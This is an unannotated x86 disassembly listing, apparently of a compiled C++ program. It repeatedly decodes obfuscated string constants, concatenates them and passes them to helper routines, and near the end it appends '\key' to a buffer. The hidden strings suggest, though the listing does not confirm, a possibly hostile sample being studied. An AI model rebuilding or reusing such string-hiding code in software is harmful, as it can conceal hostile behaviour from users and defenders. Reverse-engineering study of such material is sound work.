call fcn.0040e180
sub esp, 0x18
mov ecx, esp
push str.bVFcWwUAEhZIc0BeWkAL
call fcn.0040e1d0
lea eax, [ebp - 0xea0]
push eax
call fcn.00417d90
mov edi, eax
mov edx, dword [ebp - 0x2d0]
lea ecx, [ebp - 0xe88]
mov byte [ebp - 4], 0x7a
call fcn.00407280
mov esi, eax
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0xe70]
mov byte [ebp - 4], 0x7b
call fcn.00407280
push eax
mov edx, 0x4b8e78
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0xe58]
call fcn.0040e4c0
add esp, 4
push 0x4b8e6c
mov edx, eax
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0xe40]
call fcn.0040e530
add esp, 4
mov byte [ebp - 4], 0x7e
push esi
mov edx, eax
lea ecx, [ebp - 0xe28]
call fcn.0040e5f0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x7f
lea ecx, [ebp - 0xe10]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x80
call fcn.0040e020
mov esi, dword [ebp - 0x2c8]
mov edx, eax
mov ecx, esi
call fcn.004069d0
lea ecx, [ebp - 0xe10]
call fcn.0040e180
lea ecx, [ebp - 0xe28]
call fcn.0040e180
lea ecx, [ebp - 0xe40]
call fcn.0040e180
lea ecx, [ebp - 0xe58]
call fcn.0040e180
lea ecx, [ebp - 0xe70]
call fcn.0040e180
lea ecx, [ebp - 0xe88]
call fcn.0040e180
lea ecx, [ebp - 0xea0]
mov byte [ebp - 4], 0x75
call fcn.0040e180
sub esp, 0x18
mov ecx, esp
push str.bVFcWwUAEhZIc0BeWkAL
call fcn.0040e1d0
lea eax, [ebp - 0xed0]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x81
lea ecx, [ebp - 0xeb8]
call fcn.0040e6c0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x82
call fcn.0040e020
mov edx, eax
mov ecx, esi
call fcn.00406ed0
lea ecx, [ebp - 0xeb8]
call fcn.0040e180
lea ecx, [ebp - 0xed0]
mov byte [ebp - 4], 0x75
call fcn.0040e180
mov ecx, esi
call fcn.004069e0
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVFcWwUAEhZIc0BeWkAL
call fcn.0040e1d0
lea eax, [ebp - 0xee8]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x83
mov ecx, esi
call fcn.0040e6c0
add esp, 4
call fcn.0040f1a0
lea ecx, [ebp - 0xee8]
call fcn.0040e180
mov edi, dword [ebp - 0x2d8]
jmp 0x40ab05
sub esp, 0x18
mov dword [ebp - 4], 0x62
mov byte [ebp - 4], 0x85
mov esi, esp
mov dword [ebp - 0x2ac], esp
sub esp, 0x18
mov ecx, esp
push str.bVRcRgMBHhYSb0NLHUcfBR4RAw
call fcn.0040e1d0
lea eax, [ebp - 0xf18]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x86
mov ecx, esi
call fcn.0040e6c0
add esp, 4
sub esp, 0x18
mov byte [ebp - 4], 0x87
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVRcRgMBHhYSb0NLHUcfBR4RAw
call fcn.0040e1d0
lea eax, [ebp - 0xf00]
push eax
call fcn.00417d90
push eax
mov edx, edi
mov byte [ebp - 4], 0x88
mov ecx, esi
call fcn.0040e6c0
add esp, 4
lea ecx, [ebp - 0x219]
mov byte [ebp - 4], 0x89
call fcn.004101b0
lea ecx, [ebp - 0xf00]
call fcn.0040e180
lea ecx, [ebp - 0xf18]
mov byte [ebp - 4], 0x85
call fcn.0040e180
sub esp, 0x18
mov ecx, esp
push str.bVRcRgMBHhYSb0NLHUcfBR4RAw
call fcn.0040e1d0
lea eax, [ebp - 0xfc0]
push eax
call fcn.00417d90
mov edi, eax
mov edx, dword [ebp - 0x2d0]
lea ecx, [ebp - 0xfa8]
mov byte [ebp - 4], 0x8a
call fcn.00407280
mov esi, eax
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0xf90]
mov byte [ebp - 4], 0x8b
call fcn.00407280
push eax
mov edx, 0x4b8e78
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0xf78]
call fcn.0040e4c0
add esp, 4
push 0x4b8e6c
mov edx, eax
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0xf60]
call fcn.0040e530
add esp, 4
mov byte [ebp - 4], 0x8e
push esi
mov edx, eax
lea ecx, [ebp - 0xf48]
call fcn.0040e5f0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x8f
lea ecx, [ebp - 0xf30]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x90
call fcn.0040e020
mov esi, dword [ebp - 0x2c8]
mov edx, eax
mov ecx, esi
call fcn.004069d0
lea ecx, [ebp - 0xf30]
call fcn.0040e180
lea ecx, [ebp - 0xf48]
call fcn.0040e180
lea ecx, [ebp - 0xf60]
call fcn.0040e180
lea ecx, [ebp - 0xf78]
call fcn.0040e180
lea ecx, [ebp - 0xf90]
call fcn.0040e180
lea ecx, [ebp - 0xfa8]
call fcn.0040e180
lea ecx, [ebp - 0xfc0]
mov byte [ebp - 4], 0x85
call fcn.0040e180
sub esp, 0x18
mov ecx, esp
push str.bVRcRgMBHhYSb0NLHUcfBR4RAw
call fcn.0040e1d0
lea eax, [ebp - 0xff0]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x91
lea ecx, [ebp - 0xfd8]
call fcn.0040e6c0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x92
call fcn.0040e020
mov edx, eax
mov ecx, esi
call fcn.00406ed0
lea ecx, [ebp - 0xfd8]
call fcn.0040e180
lea ecx, [ebp - 0xff0]
mov byte [ebp - 4], 0x85
call fcn.0040e180
mov ecx, esi
call fcn.004069e0
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVRcRgMBHhYSb0NLHUcfBR4RAw
call fcn.0040e1d0
lea eax, [ebp - 0x1008]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x93
mov ecx, esi
call fcn.0040e6c0
add esp, 4
call fcn.0040f1a0
lea ecx, [ebp - 0x1008]
call fcn.0040e180
mov edi, dword [ebp - 0x2d8]
jmp 0x40ad86
sub esp, 0x18
mov dword [ebp - 4], 0x62
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVlWTV1HEwc
call fcn.0040e1d0
lea eax, [ebp - 0x1038]
push eax
call fcn.00417d90
push eax
mov edx, edi
mov byte [ebp - 4], 0x95
lea ecx, [ebp - 0x1020]
call fcn.0040e6c0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x96
call fcn.0040e020
push eax
mov ecx, esi
call fcn.0040e1d0
call fcn.0040f340
lea ecx, [ebp - 0x1020]
mov esi, eax
call fcn.0040e180
lea ecx, [ebp - 0x1038]
mov byte [ebp - 4], 0x62
call fcn.0040e180
test esi, esi
je 0x40b07f
sub esp, 0x18
mov byte [ebp - 4], 0x97
mov dword [ebp - 0x2ac], esp
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVlWTV1HEwc
call fcn.0040e1d0
lea eax, [ebp - 0x1068]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0x98
mov ecx, esi
call fcn.0040e6c0
add esp, 4
sub esp, 0x18
mov byte [ebp - 4], 0x99
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVlWTV1HEwc
call fcn.0040e1d0
lea eax, [ebp - 0x1050]
push eax
call fcn.00417d90
push eax
mov edx, edi
mov byte [ebp - 4], 0x9a
mov ecx, esi
call fcn.0040e6c0
add esp, 4
lea ecx, [ebp - 0x219]
mov byte [ebp - 4], 0x9b
call fcn.004101b0
lea ecx, [ebp - 0x1050]
call fcn.0040e180
lea ecx, [ebp - 0x1068]
mov byte [ebp - 4], 0x97
call fcn.0040e180
sub esp, 0x18
mov ecx, esp
push str.bVlWTV1HEwc
call fcn.0040e1d0
lea eax, [ebp - 0x1110]
push eax
call fcn.00417d90
mov edi, eax
mov edx, dword [ebp - 0x2d0]
lea ecx, [ebp - 0x10f8]
mov byte [ebp - 4], 0x9c
call fcn.00407280
mov esi, eax
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x10e0]
mov byte [ebp - 4], 0x9d
call fcn.00407280
push eax
mov edx, 0x4b8e78
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0x10c8]
call fcn.0040e4c0
add esp, 4
push 0x4b8e6c
mov edx, eax
mov byte [ebp - 4], 0x9f
lea ecx, [ebp - 0x10b0]
call fcn.0040e530
add esp, 4
mov byte [ebp - 4], 0xa0
push esi
mov edx, eax
lea ecx, [ebp - 0x1098]
call fcn.0040e5f0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0xa1
lea ecx, [ebp - 0x1080]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xa2
call fcn.0040e020
mov esi, dword [ebp - 0x2c8]
mov edx, eax
mov ecx, esi
call fcn.004069d0
lea ecx, [ebp - 0x1080]
call fcn.0040e180
lea ecx, [ebp - 0x1098]
call fcn.0040e180
lea ecx, [ebp - 0x10b0]
call fcn.0040e180
lea ecx, [ebp - 0x10c8]
call fcn.0040e180
lea ecx, [ebp - 0x10e0]
call fcn.0040e180
lea ecx, [ebp - 0x10f8]
call fcn.0040e180
lea ecx, [ebp - 0x1110]
mov byte [ebp - 4], 0x97
call fcn.0040e180
sub esp, 0x18
mov ecx, esp
push str.bVlWTV1HEwc
call fcn.0040e1d0
lea eax, [ebp - 0x1140]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0xa3
lea ecx, [ebp - 0x1410]
call fcn.0040e6c0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xa4
call fcn.0040e020
mov edx, eax
mov ecx, esi
call fcn.00406ed0
lea ecx, [ebp - 0x1410]
call fcn.0040e180
lea ecx, [ebp - 0x1140]
mov byte [ebp - 4], 0x97
call fcn.0040e180
mov ecx, esi
call fcn.004069e0
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVlWTV1HEwc
call fcn.0040e1d0
lea eax, [ebp - 0x1158]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0xa5
mov ecx, esi
call fcn.0040e6c0
add esp, 4
call fcn.0040f1a0
lea ecx, [ebp - 0x1158]
call fcn.0040e180
mov edi, dword [ebp - 0x2d8]
jmp 0x40b078
mov dword [ebp - 4], 0x62
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVlWTVpHEwc
call fcn.0040e1d0
lea eax, [ebp - 0x1188]
push eax
call fcn.00417d90
push eax
mov edx, edi
mov byte [ebp - 4], 0xa7
lea ecx, [ebp - 0x1170]
call fcn.0040e6c0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xa8
call fcn.0040e020
push eax
mov ecx, esi
call fcn.0040e1d0
call fcn.0040f340
lea ecx, [ebp - 0x1170]
mov esi, eax
call fcn.0040e180
lea ecx, [ebp - 0x1188]
call fcn.0040e180
test esi, esi
je 0x40b367
sub esp, 0x18
mov byte [ebp - 4], 0xa9
mov dword [ebp - 0x2ac], esp
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVlWTVpHEwc
call fcn.0040e1d0
lea eax, [ebp - 0x11b8]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0xaa
mov ecx, esi
call fcn.0040e6c0
add esp, 4
sub esp, 0x18
mov byte [ebp - 4], 0xab
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVlWTVpHEwc
call fcn.0040e1d0
lea eax, [ebp - 0x11a0]
push eax
call fcn.00417d90
push eax
mov edx, edi
mov byte [ebp - 4], 0xac
mov ecx, esi
call fcn.0040e6c0
add esp, 4
lea ecx, [ebp - 0x219]
mov byte [ebp - 4], 0xad
call fcn.004101b0
lea ecx, [ebp - 0x11a0]
call fcn.0040e180
lea ecx, [ebp - 0x11b8]
mov byte [ebp - 4], 0xa9
call fcn.0040e180
sub esp, 0x18
mov ecx, esp
push str.bVlWTVpHEwc
call fcn.0040e1d0
lea eax, [ebp - 0x1260]
push eax
call fcn.00417d90
mov edi, eax
mov edx, dword [ebp - 0x2d0]
lea ecx, [ebp - 0x1248]
mov byte [ebp - 4], 0xae
call fcn.00407280
mov esi, eax
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x1230]
mov byte [ebp - 4], 0xaf
call fcn.00407280
push eax
mov edx, 0x4b8e78
mov byte [ebp - 4], 0xb0
lea ecx, [ebp - 0x1218]
call fcn.0040e4c0
add esp, 4
push 0x4b8e6c
mov edx, eax
mov byte [ebp - 4], 0xb1
lea ecx, [ebp - 0x1200]
call fcn.0040e530
add esp, 4
mov byte [ebp - 4], 0xb2
push esi
mov edx, eax
lea ecx, [ebp - 0x11e8]
call fcn.0040e5f0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0xb3
lea ecx, [ebp - 0x11d0]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xb4
call fcn.0040e020
mov esi, dword [ebp - 0x2c8]
mov edx, eax
mov ecx, esi
call fcn.004069d0
lea ecx, [ebp - 0x11d0]
call fcn.0040e180
lea ecx, [ebp - 0x11e8]
call fcn.0040e180
lea ecx, [ebp - 0x1200]
call fcn.0040e180
lea ecx, [ebp - 0x1218]
call fcn.0040e180
lea ecx, [ebp - 0x1230]
call fcn.0040e180
lea ecx, [ebp - 0x1248]
call fcn.0040e180
lea ecx, [ebp - 0x1260]
mov byte [ebp - 4], 0xa9
call fcn.0040e180
sub esp, 0x18
mov ecx, esp
push str.bVlWTVpHEwc
call fcn.0040e1d0
lea eax, [ebp - 0x1290]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0xb5
lea ecx, [ebp - 0x1278]
call fcn.0040e6c0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xb6
call fcn.0040e020
mov edx, eax
mov ecx, esi
call fcn.00406ed0
lea ecx, [ebp - 0x1278]
call fcn.0040e180
lea ecx, [ebp - 0x1290]
mov byte [ebp - 4], 0xa9
call fcn.0040e180
mov ecx, esi
call fcn.004069e0
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bVlWTVpHEwc
call fcn.0040e1d0
lea eax, [ebp - 0x12a8]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0xb7
mov ecx, esi
call fcn.0040e6c0
add esp, 4
call fcn.0040f1a0
lea ecx, [ebp - 0x12a8]
call fcn.0040e180
mov edi, dword [ebp - 0x2d8]
jmp 0x40b360
mov dword [ebp - 4], 0x62
sub esp, 0x18
mov byte [ebp - 4], 0xb9
mov dword [ebp - 0x2ac], esp
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bV5cUwcHBEsMc15c
call fcn.0040e1d0
lea eax, [ebp - 0x12d8]
push eax
call fcn.00417d90
push eax
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 0xba
mov ecx, esi
call fcn.0040e6c0
add esp, 4
sub esp, 0x18
mov byte [ebp - 4], 0xbb
mov esi, esp
sub esp, 0x18
mov ecx, esp
push str.bV5cUwcHBEsMc15c
call fcn.0040e1d0
lea eax, [ebp - 0x12c0]
push eax
call fcn.00417d90
push eax
mov edx, edi
mov byte [ebp - 4], 0xbc
mov ecx, esi
call fcn.0040e6c0
add esp, 4
lea ecx, [ebp - 0x219]
mov byte [ebp - 4], 0xbd
call fcn.004101b0
lea ecx, [ebp - 0x12c0]
call fcn.0040e180
lea ecx, [ebp - 0x12d8]
mov byte [ebp - 4], 0xb9
call fcn.0040e180
sub esp, 0x18
mov ecx, esp
push str.bV5cUwcHBEsMc15c
call fcn.0040e1d0
lea eax, [ebp - 0x4e0]
push eax
call fcn.00417d90
mov edi, eax
mov edx, dword [ebp - 0x2d0]
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0xbe
call fcn.00407280
mov esi, eax
mov edx, dword [ebp - 0x2b4]
lea ecx, [ebp - 0x1350]
mov byte [ebp - 4], 0xbf
call fcn.00407280
push eax
mov edx, 0x4b8e78
mov byte [ebp - 4], 0xc0
lea ecx, [ebp - 0x1338]
call fcn.0040e4c0
add esp, 4
push 0x4b8e6c
mov edx, eax
mov byte [ebp - 4], 0xc1
lea ecx, [ebp - 0x1320]
call fcn.0040e530
add esp, 4
mov byte [ebp - 4], 0xc2
push esi
mov edx, eax
lea ecx, [ebp - 0x1308]
call fcn.0040e5f0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0xc3
lea ecx, [ebp - 0x12f0]
call fcn.0040e5f0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xc4
call fcn.0040e020
mov esi, dword [ebp - 0x2c8]
mov edx, eax
mov ecx, esi
call fcn.004069d0
lea ecx, [ebp - 0x12f0]
call fcn.0040e180
lea ecx, [ebp - 0x1308]
call fcn.0040e180
lea ecx, [ebp - 0x1320]
call fcn.0040e180
lea ecx, [ebp - 0x1338]
call fcn.0040e180
lea ecx, [ebp - 0x1350]
call fcn.0040e180
mov byte [ebp - 4], 0xbe
mov ecx, dword [ebp - 0x4b4]
cmp ecx, 0x10
jb 0x40b537
mov edx, dword [ebp - 0x4c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b52d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40deb9
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xb9
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0x4b8], 0
mov dword [ebp - 0x4b4], 0xf
mov byte [ebp - 0x4c8], 0
cmp ecx, 0x10
jb 0x40b590
mov edx, dword [ebp - 0x4e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b586
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40deb9
push ecx
push edx
call fcn.0041dd21
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x4d0], 0
mov ecx, esp
mov dword [ebp - 0x4cc], 0xf
mov byte [ebp - 0x4e0], 0
xorps xmm0, xmm0
push 0x10
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
push str.bV5cUwcHBEsMc15c
mov dword [ecx + 0x14], 0
call fcn.0040e870
lea eax, [ebp - 0x4f8]
push eax
call fcn.00417d90
mov ecx, eax
mov byte [ebp - 4], 0xc5
lea eax, [ebp - 0x234]
cmp dword [ebp - 0x220], 0x10
push dword [ebp - 0x224]
cmovae eax, dword [ebp - 0x234]
push eax
push ecx
call fcn.0040e030
mov dword [ebp - 0x318], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x328], xmm0
mov dword [ebp - 0x314], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x328], xmm0
movq xmm0, qword [eax + 0x10]
or dword [ebp - 0x2b0], 0x1000000
movq qword [ebp - 0x318], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xc6
lea edx, [ebp - 0x328]
cmp dword [ebp - 0x314], 0x10
mov ecx, esi
cmovae edx, dword [ebp - 0x328]
call fcn.00406ed0
mov byte [ebp - 4], 0xc5
mov ecx, dword [ebp - 0x314]
cmp ecx, 0x10
jb 0x40b6b0
mov edx, dword [ebp - 0x328]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b6a6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40deb9
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov byte [ebp - 4], 0xb9
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x314], 0xf
mov byte [ebp - 0x328], 0
cmp ecx, 0x10
jb 0x40b709
mov edx, dword [ebp - 0x4f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b6ff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40deb9
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov ecx, esi
mov dword [ebp - 0x4e8], 0
mov dword [ebp - 0x4e4], 0xf
mov byte [ebp - 0x4f8], 0
call fcn.004069e0
sub esp, 0x18
xorps xmm0, xmm0
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x10
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
push str.bV5cUwcHBEsMc15c
mov dword [ecx + 0x14], 0
call fcn.0040e870
lea eax, [ebp - 0x510]
push eax
call fcn.00417d90
mov ecx, eax
mov byte [ebp - 4], 0xc7
lea eax, [ebp - 0x234]
cmp dword [ebp - 0x220], 0x10
push dword [ebp - 0x224]
cmovae eax, dword [ebp - 0x234]
push eax
push ecx
call fcn.0040e030
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
or dword [ebp - 0x2b0], 0x2000000
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0040f1a0
mov byte [ebp - 4], 0xb9
mov ecx, dword [ebp - 0x4fc]
cmp ecx, 0x10
jb 0x40b80a
mov edx, dword [ebp - 0x510]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b800
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40deb9
push ecx
push edx
call fcn.0041dd21
add esp, 8
mov dword [ebp - 0x500], 0
mov dword [ebp - 0x4fc], 0xf
mov byte [ebp - 0x510], 0
jmp 0x40b833
inc dword [ebp - 0x2d0]
mov dword [ebp - 4], 0x62
mov esi, dword [ebp - 0x260]
mov byte [ebp - 4], 0x60
test esi, esi
je 0x40b957
mov edi, dword [ebp - 0x25c]
cmp esi, edi
je 0x40b874
nop dword [eax]
mov ecx, esi
call fcn.0040f0c0
add esi, 0x4c
cmp esi, edi
jne 0x40b860
mov esi, dword [ebp - 0x260]
mov ecx, dword [ebp - 0x258]
mov eax, 0x6bca1af3
sub ecx, esi
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul ecx, eax, 0x4c
mov eax, esi
cmp ecx, 0x1000
jb 0x40b910
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40debe
jmp 0x40b910
mov eax, dword [ebp - 0x2cc]
add edi, 0x4c
mov dword [ebp - 4], 0x61
mov esi, dword [ebp - 0x260]
mov dword [ebp - 0x2dc], edi
jmp 0x40a4a0
push ecx
push esi
call fcn.0041dd21
add esp, 8
mov dword [ebp - 0x260], 0
add dword [ebp - 0x2e0], 0x4c
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x258], 0
mov dword [ebp - 4], 0x5f
jmp 0x40a420
add dword [ebp - 0x2e0], 0x4c
mov dword [ebp - 4], 0x5f
jmp 0x40a420
lea ecx, [ebp - 0x2a0]
call fcn.0040dee0
mov dword [ebp - 4], 9
cmp dword [ebp - 0x23c], 2
jne 0x40dd67
push 0x4b7db0
lea ecx, [ebp - 0x254]
call fcn.0040e1d0
lea eax, [ebp - 0x288]
mov byte [ebp - 4], 0xcd
push eax
lea eax, [ebp - 0x270]
mov dword [ebp - 0x268], 0
xorps xmm0, xmm0
push eax
movq qword [ebp - 0x270], xmm0
call fcn.0040f520
mov byte [ebp - 4], 0xce
mov eax, dword [ebp - 0x26c]
mov esi, dword [ebp - 0x270]
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 0x2cc], esi
cmp esi, eax
je 0x40ba9f
cmp dword [esi + 0x18], 0x10
jne 0x40bb61
sub esp, 0x18
mov edi, esp
sub esp, 0x18
mov ecx, esp
push str.bX5cVw8FVzYSYUVX
call fcn.0040e1d0
lea eax, [ebp - 0x1368]
push eax
call fcn.00417d90
push eax
mov edx, esi
mov byte [ebp - 4], 0xcf
mov ecx, edi
call fcn.0040e6c0
add esp, 4
call fcn.0040f340
lea ecx, [ebp - 0x1368]
mov byte [ebp - 4], 0xce
mov edi, eax
call fcn.0040e180
test edi, edi
je 0x40bb5b
push esi
lea ecx, [ebp - 0x254]
call fcn.0040e150
mov edx, dword [ebp - 0x2b4]
sub esp, 0x18
mov byte [ebp - 4], 0xd0
mov ecx, esp
mov dword [ebp - 0x2ac], esp
call fcn.00407280
sub esp, 0x18
mov byte [ebp - 4], 0xd1
mov ecx, esp
mov dword [ebp - 0x2b8], esp
push esi
call fcn.0040e210
sub esp, 0x18
mov byte [ebp - 4], 0xd2
lea eax, [ebp - 0x234]
mov ecx, esp
push eax
call fcn.0040e210
mov byte [ebp - 4], 0xd0
call fcn.00408ca0
mov byte [ebp - 4], 0xce
mov eax, dword [ebp - 0x2b4]
lea esi, [ebp - 0x67]
sub esp, 0x18
mov ecx, eax
mov dword [ebp - 0x2ac], esp
mov edi, esp
mov dword [ebp - 0x2b8], edi
test eax, eax
jns 0x40bb69
neg ecx
mov dword [ebp - 0x2a8], ecx
nop dword [eax + eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40bad0
dec esi
mov byte [esi], 0x2d
jmp 0x40bba0
mov eax, dword [ebp - 0x2dc]
add esi, 0x4c
jmp 0x40b9db
mov dword [ebp - 0x2a8], ecx
nop
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40bb70
push ecx
lea eax, [ebp - 0x67]
mov ecx, edi
push eax
push esi
call fcn.0040ef30
mov edi, dword [ebp - 0x2b0]
or edi, 0x6000
mov dword [ebp - 0x2b0], edi
sub esp, 0x18
mov byte [ebp - 4], 0xd4
lea eax, [ebp - 0x288]
mov dword [ebp - 0x2b8], esp
mov ecx, esp
push eax
call fcn.0040e210
sub esp, 0x18
mov byte [ebp - 4], 0xd5
lea eax, [ebp - 0x234]
mov ecx, esp
push eax
call fcn.0040e210
mov byte [ebp - 4], 0xce
call fcn.00408ca0
mov eax, dword [ebp - 0x2b4]
lea esi, [ebp - 0x4f]
mov ecx, eax
test eax, eax
jns 0x40bc46
neg ecx
mov dword [ebp - 0x2a8], ecx
nop
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40bc10
dec esi
mov byte [esi], 0x2d
jmp 0x40bc80
mov dword [ebp - 0x2a8], ecx
nop dword [eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2a8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2a8], eax
test eax, eax
jne 0x40bc50
push ecx
lea eax, [ebp - 0x4f]
push eax
push esi
lea ecx, [ebp - 0x3d8]
call fcn.0040ef30
or edi, 0x1800
mov dword [ebp - 0x2b0], edi
push 2
push 0x4b8e78
push ecx
lea ecx, [ebp - 0x3d8]
mov byte [ebp - 4], 0xd6
call fcn.0040e030
mov dword [ebp - 0x2e8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2f8], xmm0
mov dword [ebp - 0x2e4], 0
or edi, 0x400
movups xmm0, xmmword [eax]
mov dword [ebp - 0x2b0], edi
movups xmmword [ebp - 0x2f8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2e8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xd7
mov edx, dword [ebp - 0x2e4]
mov eax, edx
mov ecx, dword [ebp - 0x2e8]
sub eax, ecx
cmp eax, 4
jb 0x40bd4c
lea eax, [ecx + 4]
cmp edx, 0x10
mov dword [ebp - 0x2e8], eax
lea eax, [ebp - 0x2f8]
cmovae eax, dword [ebp - 0x2f8]
mov dword [eax + ecx], 0x79656b5c
mov byte [eax + ecx + 4], 0
lea eax, [ebp - 0x2f8]
jmp 0x40bd6d
push 4
push str.key
mov byte [ebp - 0x348], 0
lea ecx, [ebp - 0x2f8]
push dword [ebp - 0x348]
push 4
call fcn.0040e980
mov dword [ebp - 0x330], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x340], xmm0
